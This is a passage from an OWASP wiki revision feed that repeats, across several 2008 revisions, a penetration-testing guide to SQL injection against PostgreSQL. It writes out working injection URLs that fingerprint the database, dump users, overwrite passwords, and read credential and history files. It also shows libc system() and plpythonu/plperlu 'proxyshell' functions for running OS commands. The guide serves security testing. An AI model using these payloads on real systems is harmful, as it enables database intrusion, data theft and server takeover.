Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=44176</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=44176"/>
				<updated>2008-10-21T01:14:40Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed.&lt;br /&gt;
Keep in mind the following peculiarities:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we assume that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Description =&lt;br /&gt;
&lt;br /&gt;
== Identifing PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When an SQL Injection has been found, you need to carefully &lt;br /&gt;
fingerprint the backend database engine. You can determine that the backend database engine&lt;br /&gt;
is PostgreSQL by using the ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL injection attacks, you should take in consideration the following built-in functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current&lt;br /&gt;
session process sleep for ''n'' seconds. &lt;br /&gt;
&lt;br /&gt;
In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
Strings can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
   * chr(n): Returns the character whose ascii value corresponds to the number n&lt;br /&gt;
   * ascii(n): Returns the ascii value corresponds to the character n&lt;br /&gt;
&lt;br /&gt;
Let's say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' as: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
The identity of the current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
The built-in function current_database() returns the current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two ways to access a local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performing a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieve a row at time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, and tcl.&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting its ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on some databsae:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'&lt;br /&gt;
* If not, try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If all of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not, assuming that sysadm has already installed the plperl package, try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If all of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
OWASP : &amp;quot;[[Testing for SQL Injection]]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
= Tools =&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=44175</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=44175"/>
				<updated>2008-10-21T01:12:55Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Short Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Overview =&lt;br /&gt;
&lt;br /&gt;
In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed.&lt;br /&gt;
Keep in mind the following peculiarities:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
* SQL Statements can be truncated by appending the comment char: '''--'''.&lt;br /&gt;
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''&lt;br /&gt;
&lt;br /&gt;
From here after, we assume that ''&amp;lt;nowiki&amp;gt;http://www.example.com/news.php?id=1&amp;lt;/nowiki&amp;gt;'' is vulnerable to SQL Injection attacks.&lt;br /&gt;
&lt;br /&gt;
= Black Box testing and example =&lt;br /&gt;
&lt;br /&gt;
== Identifing PostgreSQL ==&lt;br /&gt;
&lt;br /&gt;
When an SQL Injection has been found, you need to carefully &lt;br /&gt;
fingerprint the backend database engine. You can determine that the backend database engine&lt;br /&gt;
is PostgreSQL by using the ''::'' cast operator.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 AND 1::int=1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
        PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)&lt;br /&gt;
&lt;br /&gt;
== Blind Injection ==&lt;br /&gt;
&lt;br /&gt;
For blind SQL injection attacks, you should take in consideration the following built-in functions:&lt;br /&gt;
&lt;br /&gt;
* String Length&lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string&lt;br /&gt;
*: ''SUBSTR(str,index,offset)''&lt;br /&gt;
* String representation with no single quotes&lt;br /&gt;
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''&lt;br /&gt;
&lt;br /&gt;
Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current&lt;br /&gt;
session process sleep for ''n'' seconds. &lt;br /&gt;
&lt;br /&gt;
In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:&lt;br /&gt;
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
== Single Quote unescape ==&lt;br /&gt;
&lt;br /&gt;
Strings can be encoded, to prevent single quotes escaping, by using chr() function.&lt;br /&gt;
&lt;br /&gt;
   * chr(n): Returns the character whose ascii value corresponds to the number n&lt;br /&gt;
   * ascii(n): Returns the ascii value corresponds to the character n&lt;br /&gt;
&lt;br /&gt;
Let's say you want to encode the string 'root':&lt;br /&gt;
   select ascii('r')&lt;br /&gt;
   114&lt;br /&gt;
   select ascii('o')&lt;br /&gt;
   111&lt;br /&gt;
   select ascii('t')&lt;br /&gt;
   116&lt;br /&gt;
&lt;br /&gt;
We can encode 'root' as: &lt;br /&gt;
  chr(114)||chr(111)||chr(111)||chr(116)&lt;br /&gt;
&lt;br /&gt;
'''Example:''' &lt;br /&gt;
   &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attack Vectors ==&lt;br /&gt;
&lt;br /&gt;
=== Current User ===&lt;br /&gt;
&lt;br /&gt;
The identity of the current user can be retrieved with the following SQL SELECT statements:&lt;br /&gt;
&lt;br /&gt;
  SELECT user&lt;br /&gt;
  SELECT current_user&lt;br /&gt;
  SELECT session_user&lt;br /&gt;
  SELECT usename FROM pg_user&lt;br /&gt;
  SELECT getpgusername()&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Current Database ===&lt;br /&gt;
&lt;br /&gt;
The built-in function current_database() returns the current database name.&lt;br /&gt;
&lt;br /&gt;
'''Example''':&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reading from a file ===&lt;br /&gt;
&lt;br /&gt;
ProstgreSQL provides two ways to access a local file:&lt;br /&gt;
* COPY statement&lt;br /&gt;
* pg_read_file() internal function (starting from PostgreSQL 8.1)&lt;br /&gt;
&lt;br /&gt;
'''COPY:'''&lt;br /&gt;
&lt;br /&gt;
This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--&lt;br /&gt;
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Data should be retrieved by performing a ''UNION Query SQL Injection'':&lt;br /&gt;
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement&lt;br /&gt;
* retrieve a row at time with UNION SQL Injection&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--&lt;br /&gt;
...&lt;br /&gt;
...&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''pg_read_file():'''&lt;br /&gt;
&lt;br /&gt;
This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside&lt;br /&gt;
DBMS data directory.&lt;br /&gt;
&lt;br /&gt;
'''Examples:'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;nowiki&amp;gt;SELECT pg_read_file('server.key',0,1000); &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Writing to a file ===&lt;br /&gt;
&lt;br /&gt;
By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell Injection ===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting&lt;br /&gt;
languages such as python, perl, and tcl.&lt;br /&gt;
&lt;br /&gt;
==== Dynamic Library ====&lt;br /&gt;
&lt;br /&gt;
Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':&lt;br /&gt;
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT&lt;br /&gt;
&lt;br /&gt;
Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?&lt;br /&gt;
&lt;br /&gt;
Here's a little trick:&lt;br /&gt;
&lt;br /&gt;
* create a ''stdout'' table&lt;br /&gt;
*: ''CREATE TABLE stdout(id serial, system_out text)''&lt;br /&gt;
* executing a shell command redirecting its ''stdout''&lt;br /&gt;
*: ''SELECT system('uname -a &amp;gt; /tmp/test')''&lt;br /&gt;
* use a ''COPY'' statements to push output of previous command in ''stdout'' table&lt;br /&gt;
*: ''COPY stdout(system_out) FROM '/tmp/test'''&lt;br /&gt;
* retrieve output from ''stdout''&lt;br /&gt;
*: ''SELECT system_out FROM stdout''&lt;br /&gt;
&lt;br /&gt;
''' Example:'''&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt; &lt;br /&gt;
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- &lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'&lt;br /&gt;
STRICT --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; SELECT system('uname -a &amp;gt; /tmp/test') --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --&lt;br /&gt;
&lt;br /&gt;
/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== plpython ====&lt;br /&gt;
&lt;br /&gt;
PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict&lt;br /&gt;
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''&lt;br /&gt;
&lt;br /&gt;
* Check if PL/Python has been enabled on some databsae:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'&lt;br /&gt;
* If not, try to enable:&lt;br /&gt;
*: ''CREATE LANGUAGE plpythonu''&lt;br /&gt;
* If all of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; &lt;br /&gt;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- &amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
==== plperl ====&lt;br /&gt;
&lt;br /&gt;
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.&lt;br /&gt;
&lt;br /&gt;
* Check if PL/perl-untrusted has been enabled:&lt;br /&gt;
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'&lt;br /&gt;
* If not, assuming that sysadm has already installed the plperl package, try :&lt;br /&gt;
*: ''CREATE LANGUAGE plperlu''&lt;br /&gt;
* If all of the above succeeded, create a proxy shell function:&lt;br /&gt;
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu''&lt;br /&gt;
* Have fun with:&lt;br /&gt;
*: SELECT proxyshell(''os command'');&lt;br /&gt;
&lt;br /&gt;
'''Example:'''&lt;br /&gt;
&lt;br /&gt;
*Create a proxy shell function:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,&amp;quot;$_[0] |&amp;quot;);return join(&amp;quot;&amp;quot;,&amp;lt;FD&amp;gt;);' LANGUAGE plperlu;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Run an OS Command:&lt;br /&gt;
*:''&amp;lt;nowiki&amp;gt;/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--&amp;lt;/nowiki&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
OWASP : &amp;quot;[[Testing for SQL Injection]]&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Michael Daw : &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://michaeldaw.org/sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
PostgreSQL : &amp;quot;Official Documentation&amp;quot; - http://www.postgresql.org/docs/&lt;br /&gt;
&lt;br /&gt;
= Tools =&lt;br /&gt;
&lt;br /&gt;
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=44174</id>
		<title>OWASP Backend Security Project Testing PostgreSQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Testing_PostgreSQL&amp;diff=44174"/>
				<updated>2008-10-21T01:09:49Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Short Description of the Issue =&lt;br /&gt;
&lt;br /&gt;
In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed.&lt;br /&gt;
Keep in mind the following peculiarities:&lt;br /&gt;
&lt;br /&gt;
* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator&lt;br /&gt;
